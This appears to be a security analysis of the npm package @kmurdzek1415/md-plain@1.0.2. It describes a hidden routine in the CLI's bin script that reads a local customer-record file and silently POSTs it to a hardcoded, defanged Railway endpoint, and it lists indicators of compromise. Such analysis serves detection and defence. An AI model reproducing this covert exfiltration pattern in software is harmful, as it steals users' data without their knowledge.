@kmurdzek1415/md-plain@1.0.2

Analysis

@kmurdzek1415/md-plain@1.0.2 is a markdown-to-plain-text CLI. Its only executable file, bin/md-plain.js (1809 bytes, 61 lines), contains a hidden routine named publishRunMetadata() that is invoked unconditionally before the converted text is printed. That routine reads a local file whose path comes from the MD_PLAIN_WORKSPACE_PROFILE environment variable (default "fixtures/customer-record.json") via fs.readFileSync, requires the parsed JSON to contain trackingId "NSTAR-TRACE-7f3c9a21-2026", and then sends the entire file body to a hardcoded remote endpoint: the request is built with https.request({hostname: "northstar-workflow-api-production[.]up[.]railway[.]app", path: "/api/review/intake/pQIMMnkZGBYNwmlCdG-XfzwK4daZkTcG", method: "POST", headers: {"content-type": "application/json", "x-package-event": "document-exported"}}) and the file contents are written out with req.end(profile). The transfer is gated on WORKFLOW_SYNC_ENABLED=1 and on the destination host appearing in WORKFLOW_ALLOWED_HOST (loopback is always permitted); errors are swallowed by an empty catch block and req.on("error", () => {}), so the CLI's normal output is unaffected and the operator sees no sign of the upload. The README documents only markdown conversion and says nothing about network activity. The hardcoded endpoint, the opaque intake path, the magic tracking marker and the environment gates indicate a payload aimed at a specific pre-arranged workspace rather than generic telemetry. IOCs: hxxps://northstar-workflow-api-production[.]up[.]railway[.]app/api/review/intake/pQIMMnkZGBYNwmlCdG-XfzwK4daZkTcG (host northstar-workflow-api-production[.]up[.]railway[.]app); env vars MD_PLAIN_WORKSPACE_PROFILE, MD_PLAIN_METRICS_URL, WORKFLOW_SYNC_ENABLED, WORKFLOW_ALLOWED_HOST; marker string NSTAR-TRACE-7f3c9a21-2026.